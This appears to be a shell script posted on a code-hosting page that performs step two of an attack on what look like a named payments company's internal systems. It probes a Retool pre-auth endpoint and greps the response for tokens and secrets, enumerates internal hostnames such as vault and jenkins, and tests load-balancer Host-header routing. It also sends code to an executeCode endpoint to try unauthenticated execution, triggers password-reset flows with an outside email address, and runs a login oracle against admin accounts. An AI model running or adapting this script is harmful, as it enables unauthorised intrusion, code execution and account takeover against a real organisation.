80 lines
5.3 KiB
Bash
80 lines
5.3 KiB
Bash
#!/bin/sh
|
|
# Intent 20337 step 2: deeper Retool pre-auth surface + ALB host routing + internal DNS.
|
|
|
|
C="curl -sk -m 7 --connect-timeout 3"
|
|
T=/tmp/rt20337b
|
|
mkdir -p "$T" 2>/dev/null
|
|
|
|
say() { printf '%s\n' "$*"; }
|
|
|
|
echo "== PREAUTH-DATA retooldata"
|
|
$C -o "$T/p" -w "preauth -> %{http_code} %{size_download}\n" "https://retooldata.private.paystack.co/api/organization/preAuthData"
|
|
say "-- head"
|
|
head -c 700 "$T/p" | tr '\r\n' ' '
|
|
say ""
|
|
say "-- keys"
|
|
grep -o '"[A-Za-z_][A-Za-z0-9_]*"[[:space:]]*:' "$T/p" 2>/dev/null | sed 's/[": ]//g' | sort | uniq -c | sort -rn | head -35
|
|
say "-- interesting strings"
|
|
grep -oiE '"[^"]{0,40}(email|user|secret|token|invite|license|sso|saml|oauth|admin|domain|orgname|orgName)[^"]{0,40}"' "$T/p" 2>/dev/null | sort -u | head -30
|
|
|
|
echo "== DNS CANDIDATES"
|
|
for h in retool-enterprise.private.paystack.co data-platform.private.paystack.co retool-workflow.private.paystack.co retool-workflows.private.paystack.co retooldata-workflow.private.paystack.co retooldata-workflows.private.paystack.co retool-backend.private.paystack.co retool-api.private.paystack.co retooldata-api.private.paystack.co workflow.private.paystack.co workflow-backend.private.paystack.co workflow-worker.private.paystack.co code-executor.private.paystack.co codeexecutor.private.paystack.co retooldata-code-executor.private.paystack.co retool-code-executor.private.paystack.co grafana.private.paystack.co argocd.private.paystack.co k8s-dashboard.private.paystack.co adminer.private.paystack.co airflow.private.paystack.co vault.private.paystack.co jenkins.private.paystack.co kibana.private.paystack.co prometheus-k8s.private.paystack.co api.private.paystack.co internal.private.paystack.co; do
|
|
ip=$(timeout 2 getent hosts "$h" 2>/dev/null | awk '{print $1}' | head -1)
|
|
if [ -n "$ip" ]; then say "$h $ip"; fi
|
|
done
|
|
|
|
echo "== ALB HOST MATRIX"
|
|
for ip in 172.31.65.91 172.31.67.237; do
|
|
for hh in retooldata.private.paystack.co retool.private.paystack.co code-executor.private.paystack.co retooldata-code-executor.private.paystack.co localhost retooldata.data-platform.svc.cluster.local code-executor.data-platform.svc.cluster.local; do
|
|
$C -k -o "$T/b" -w "%{http_code} %{size_download}" -H "Host: $hh" "https://$ip/api/checkHealth" >"$T/s" 2>"$T/e"
|
|
say "GET $ip Host=$hh -> $(cat "$T/s" 2>/dev/null) :: $(head -c 90 "$T/b" 2>/dev/null | tr '\r\n' ' ')"
|
|
done
|
|
done
|
|
|
|
echo "== ALB HOST MATRIX POST executeCode"
|
|
for ip in 172.31.65.91 172.31.67.237; do
|
|
for hh in code-executor.private.paystack.co retooldata-code-executor.private.paystack.co code-executor.data-platform.svc.cluster.local; do
|
|
$C -k -o "$T/b" -w "%{http_code} %{size_download}" -X POST -H "Host: $hh" -H "Content-Type: application/json" --data-binary '{"code":"return 7*7;","runtime":{"language":"nodejs","version":"18.17"},"variablesInScope":{},"origin":"workflows"}' "https://$ip/api/executeCode" >"$T/s" 2>"$T/e"
|
|
say "POST $ip Host=$hh -> $(cat "$T/s" 2>/dev/null) :: $(head -c 110 "$T/b" 2>/dev/null | tr '\r\n' ' ')"
|
|
done
|
|
done
|
|
|
|
echo "== ANON ROUTES"
|
|
for h in retooldata.private.paystack.co retool.private.paystack.co; do
|
|
say "-- $h"
|
|
for p in /api/checkHealth /api/organization/preAuthData /api/signup /api/login /api/logout /api/oauth/authorize /api/oauth/callback /api/oauth/login /api/forgotPassword /api/forgot_password /api/resetPassword /api/verifyEmail /api/2fa/status /api/invite /api/invites /api/public/apps /api/public/applications /api/apps/public /api/organization /api/users/me /api/auth/google /api/auth/callback /api/sso/oidc/login /api/sso/saml/login /api/organization/sso /api/health /api/v1/version; do
|
|
$C -o "$T/b" -w "%{http_code}" "https://$h$p" >"$T/s" 2>"$T/e"
|
|
code=$(cat "$T/s" 2>/dev/null)
|
|
body=$(head -c 90 "$T/b" 2>/dev/null | tr '\r\n' ' ')
|
|
say "GET $p -> $code :: $body"
|
|
done
|
|
done
|
|
|
|
echo "== PASSWORD FLOW (POST)"
|
|
for h in retooldata.private.paystack.co retool.private.paystack.co; do
|
|
for p in /api/forgotPassword /api/forgot_password /api/resetPassword /api/verifyEmail; do
|
|
$C -o "$T/b" -w "%{http_code}" -X POST -H "Content-Type: application/json" --data-binary '{"email":"pstkrt20337a@maxxspace.com"}' "https://$h$p" >"$T/s" 2>"$T/e"
|
|
say "POST $h$p -> $(cat "$T/s" 2>/dev/null) :: $(head -c 110 "$T/b" 2>/dev/null | tr '\r\n' ' ')"
|
|
done
|
|
done
|
|
|
|
echo "== LOGIN EMAIL ORACLE"
|
|
for h in retooldata.private.paystack.co retool.private.paystack.co; do
|
|
for em in admin@paystack.com pstk20337-nobody@maxxspace.com; do
|
|
$C -o "$T/b" -w "%{http_code} %{time_total}" -X POST -H "Content-Type: application/json" --data-binary "{\"email\":\"$em\",\"password\":\"zzzz20337ZZ\"}" "https://$h/api/login" >"$T/s" 2>"$T/e"
|
|
say "LOGIN $h $em -> $(cat "$T/s" 2>/dev/null) :: $(head -c 100 "$T/b" 2>/dev/null | tr '\r\n' ' ')"
|
|
done
|
|
done
|
|
|
|
echo "== MISC HOSTS"
|
|
for h in retool-enterprise.private.paystack.co data-platform.private.paystack.co; do
|
|
ip=$(timeout 2 getent hosts "$h" 2>/dev/null | awk '{print $1}' | head -1)
|
|
if [ -n "$ip" ]; then
|
|
$C -o "$T/b" -w "root -> %{http_code} %{size_download}" "https://$h/" >"$T/s" 2>"$T/e"
|
|
say "$h ($ip) root -> $(cat "$T/s" 2>/dev/null) :: $(head -c 120 "$T/b" 2>/dev/null | tr '\r\n' ' ')"
|
|
$C -o "$T/b" -w "ch -> %{http_code} %{size_download}" "https://$h/api/checkHealth" >"$T/s" 2>"$T/e"
|
|
say "$h ($ip) checkHealth -> $(cat "$T/s" 2>/dev/null) :: $(head -c 120 "$T/b" 2>/dev/null | tr '\r\n' ' ')"
|
|
fi
|
|
done
|
|
|
|
echo "RT2DONE"
|